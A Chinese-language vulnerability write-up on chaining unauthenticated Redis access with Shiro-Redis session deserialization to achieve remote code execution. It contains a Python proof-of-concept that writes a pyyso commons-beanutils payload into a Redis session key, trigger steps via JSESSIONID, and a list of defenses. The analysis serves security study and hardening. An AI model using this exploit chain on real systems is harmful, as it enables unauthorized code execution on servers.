redis未授权到shiro反序列化
字数 1462 2025-08-29 08:32:19
Redis未授权访问配合Shiro-Redis反序列化漏洞利用分析
0x01 漏洞背景
本漏洞利用场景结合了两个安全问题:
- Redis未授权访问漏洞
- Shiro-Redis反序列化漏洞
当目标系统同时存在Redis未授权访问且配置了Shiro-Redis来存储Session时,攻击者可以通过向Redis写入恶意序列化数据,诱导Shiro反序列化这些数据,最终实现远程代码执行(RCE)。
0x02 前置知识
Redis未授权访问
Redis默认监听6379端口,如果未配置认证且未设置防火墙规则,可能导致未授权访问。攻击者可以直接连接Redis服务并执行命令。
Shiro框架
Apache Shiro是一个Java安全框架,用于认证、授权、加密和会话管理。
Shiro-Redis
Shiro-Redis是一个开源项目,用于将Shiro的Session存储在Redis中,实现分布式Session共享。
0x03 漏洞发现与验证
1. 信息收集
- 使用nmap或Shodan扫描发现6379端口开放Redis服务
- 确认Redis版本为3.2.100(Windows环境)
- 通过redis-cli连接确认未授权访问
redis-cli -h <target_ip>
2. Redis利用尝试
- 尝试常见Redis利用方式失败(写webshell、写SSH key等)
- 发现Redis中存储了Shiro Session数据,键名格式为
shiro:session:<session_id> - 观察到Session值以
\xac\xed开头,表明是Java序列化数据
0x04 漏洞利用原理
1. 利用链分析
攻击者可以通过以下步骤实现RCE:
- 通过Redis未授权访问写入恶意序列化数据
- 诱导Shiro读取并反序列化这些数据
- 触发反序列化漏洞执行任意代码
2. 关键代码分析
漏洞触发点在org.crazycake.shiro.RedisSessionDAO#doReadSession:
protected Session doReadSession(Serializable sessionId) {
// ...
session = (Session) valueSerializer.deserialize(
redisManager.get(keySerializer.serialize(sessionRedisKey)));
// ...
}
最终反序列化操作在org.crazycake.shiro.serializer.ObjectSerializer#deserialize:
public Object deserialize(byte[] bytes) throws SerializationException {
// ...
ByteArrayInputStream byteStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new MultiClassLoaderObjectInputStream(byteStream);
result = objectInputStream.readObject(); // 反序列化触发点
// ...
}
0x05 漏洞利用步骤
1. 环境搭建
- 启动Redis 3.2.100(Windows环境)
- 部署Shiro-Redis示例项目:
https://github.com/alexxiyang/shiro-redis-spring-boot-tutorial
2. 生成恶意序列化数据
使用pyyso工具生成反序列化payload:
import pyyso
value = pyyso.cb1v192("open /") # 使用commons-beanutils链
3. 写入Redis
使用Python脚本将payload写入Redis:
import pyyso
import socket
s = socket.socket()
s.connect(("127.0.0.1", 6379))
whatever = b"123"
key = b"shiro:session:" + whatever
value = pyyso.cb1v192("open /")
# Redis SET命令格式
s.send(
b"\x2a\x33\x0d\x0a\x24\x33\x0d\x0aSET\r\n"
b"\x24" + str(len(key)).encode() + b"\r\n" + key + b"\r\n"
b"\x24" + str(len(value)).encode() + b"\r\n" + value + b"\r\n"
)
if b"+OK" in s.recv(3):
print("success")
4. 触发漏洞
- 修改浏览器中的JSESSIONID为写入的key(如"123")
- 发送请求触发反序列化
0x06 漏洞利用条件
- Redis存在未授权访问
- 目标系统使用Shiro框架
- 配置了Shiro-Redis存储Session
- Shiro环境中存在可利用的反序列化链(如commons-beanutils)
0x07 防御措施
-
Redis安全配置:
- 设置强密码认证
- 绑定特定IP
- 禁用危险命令
- 使用防火墙限制访问
-
Shiro安全配置:
- 升级到最新版本
- 使用安全的Session序列化方式
- 配置加密的Redis连接
-
代码层面:
- 避免使用默认的Java序列化
- 实现安全的反序列化过滤器
0x08 总结
本漏洞利用结合了Redis未授权访问和Shiro反序列化两个安全问题,通过控制Redis中存储的Session数据,诱导Shiro进行恶意反序列化。这种攻击方式不需要知道Shiro的rememberMe密钥,只要能够访问Redis并写入数据即可实现RCE。